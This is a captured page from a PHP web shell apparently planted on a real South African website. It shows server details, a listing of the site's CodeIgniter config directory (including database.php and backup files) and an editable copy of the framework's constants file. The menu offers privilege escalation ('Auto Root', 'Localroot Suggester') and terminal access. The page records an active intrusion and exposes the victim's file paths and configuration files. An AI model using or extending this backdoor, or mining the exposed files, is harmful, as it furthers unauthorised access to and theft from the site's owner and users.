Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
ci /
application /
config /
Delete
Unzip
Name
Size
Permission
Date
Action
autoload.php
3.93
KB
-rw-r--r--
2017-06-28 08:50
config.php
18.03
KB
-rw-r--r--
2017-06-28 10:39
config.php.bak
18
KB
-rw-r--r--
2017-06-28 08:50
constants.php
4.22
KB
-rw-r--r--
2017-06-28 08:50
database.php
4.48
KB
-rw-r--r--
2022-06-16 14:39
database.php.bak
4.41
KB
-rw-r--r--
2017-06-28 08:50
doctypes.php
2.38
KB
-rw-r--r--
2017-06-28 08:50
foreign_chars.php
2.92
KB
-rw-r--r--
2017-06-28 08:50
hooks.php
417
B
-rw-r--r--
2017-06-28 08:50
index.html
131
B
-rw-r--r--
2017-06-28 08:50
memcached.php
498
B
-rw-r--r--
2017-06-28 08:50
migration.php
2.96
KB
-rw-r--r--
2017-06-28 08:50
mimes.php
9.82
KB
-rw-r--r--
2017-06-28 08:50
profiler.php
477
B
-rw-r--r--
2017-06-28 08:50
routes.php
2.04
KB
-rw-r--r--
2017-06-28 09:31
smileys.php
3.11
KB
-rw-r--r--
2017-06-28 08:50
user_agents.php
5.99
KB
-rw-r--r--
2017-06-28 08:50
Save
Rename
<?php defined('BASEPATH') OR exit('No direct script access allowed'); /* |-------------------------------------------------------------------------- | Display Debug backtrace |-------------------------------------------------------------------------- | | If set to TRUE, a backtrace will be displayed along with php errors. If | error_reporting is disabled, the backtrace will not display, regardless | of this setting | */ defined('SHOW_DEBUG_BACKTRACE') OR define('SHOW_DEBUG_BACKTRACE', TRUE); /* |-------------------------------------------------------------------------- | File and Directory Modes |-------------------------------------------------------------------------- | | These prefs are used when checking and setting modes when working | with the file system. The defaults are fine on servers with proper | security, but you may wish (or even need) to change the values in | certain environments (Apache running a separate process for each | user, PHP under CGI with Apache suEXEC, etc.). Octal values should | always be used to set the mode correctly. | */ defined('FILE_READ_MODE') OR define('FILE_READ_MODE', 0644); defined('FILE_WRITE_MODE') OR define('FILE_WRITE_MODE', 0666); defined('DIR_READ_MODE') OR define('DIR_READ_MODE', 0755); defined('DIR_WRITE_MODE') OR define('DIR_WRITE_MODE', 0755); /* |-------------------------------------------------------------------------- | File Stream Modes |-------------------------------------------------------------------------- | | These modes are used when working with fopen()/popen() | */ defined('FOPEN_READ') OR define('FOPEN_READ', 'rb'); defined('FOPEN_READ_WRITE') OR define('FOPEN_READ_WRITE', 'r+b'); defined('FOPEN_WRITE_CREATE_DESTRUCTIVE') OR define('FOPEN_WRITE_CREATE_DESTRUCTIVE', 'wb'); // truncates existing file data, use with care defined('FOPEN_READ_WRITE_CREATE_DESTRUCTIVE') OR define('FOPEN_READ_WRITE_CREATE_DESTRUCTIVE', 'w+b'); // truncates existing file data, use with care defined('FOPEN_WRITE_CREATE') OR define('FOPEN_WRITE_CREATE', 'ab'); defined('FOPEN_READ_WRITE_CREATE') OR define('FOPEN_READ_WRITE_CREATE', 'a+b'); defined('FOPEN_WRITE_CREATE_STRICT') OR define('FOPEN_WRITE_CREATE_STRICT', 'xb'); defined('FOPEN_READ_WRITE_CREATE_STRICT') OR define('FOPEN_READ_WRITE_CREATE_STRICT', 'x+b'); /* |-------------------------------------------------------------------------- | Exit Status Codes |-------------------------------------------------------------------------- | | Used to indicate the conditions under which the script is exit()ing. | While there is no universal standard for error codes, there are some | broad conventions. Three such conventions are mentioned below, for | those who wish to make use of them. The CodeIgniter defaults were | chosen for the least overlap with these conventions, while still | leaving room for others to be defined in future versions and user | applications. | | The three main conventions used for determining exit status codes | are as follows: | | Standard C/C++ Library (stdlibc): | http://www.gnu.org/software/libc/manual/html_node/Exit-Status.html | (This link also contains other GNU-specific conventions) | BSD sysexits.h: | http://www.gsp.com/cgi-bin/man.cgi?section=3&topic=sysexits | Bash scripting: | http://tldp.org/LDP/abs/html/exitcodes.html | */ defined('EXIT_SUCCESS') OR define('EXIT_SUCCESS', 0); // no errors defined('EXIT_ERROR') OR define('EXIT_ERROR', 1); // generic error defined('EXIT_CONFIG') OR define('EXIT_CONFIG', 3); // configuration error defined('EXIT_UNKNOWN_FILE') OR define('EXIT_UNKNOWN_FILE', 4); // file not found defined('EXIT_UNKNOWN_CLASS') OR define('EXIT_UNKNOWN_CLASS', 5); // unknown class defined('EXIT_UNKNOWN_METHOD') OR define('EXIT_UNKNOWN_METHOD', 6); // unknown class member defined('EXIT_USER_INPUT') OR define('EXIT_USER_INPUT', 7); // invalid user input defined('EXIT_DATABASE') OR define('EXIT_DATABASE', 8); // database error defined('EXIT__AUTO_MIN') OR define('EXIT__AUTO_MIN', 9); // lowest automatically-assigned error code defined('EXIT__AUTO_MAX') OR define('EXIT__AUTO_MAX', 125); // highest automatically-assigned error code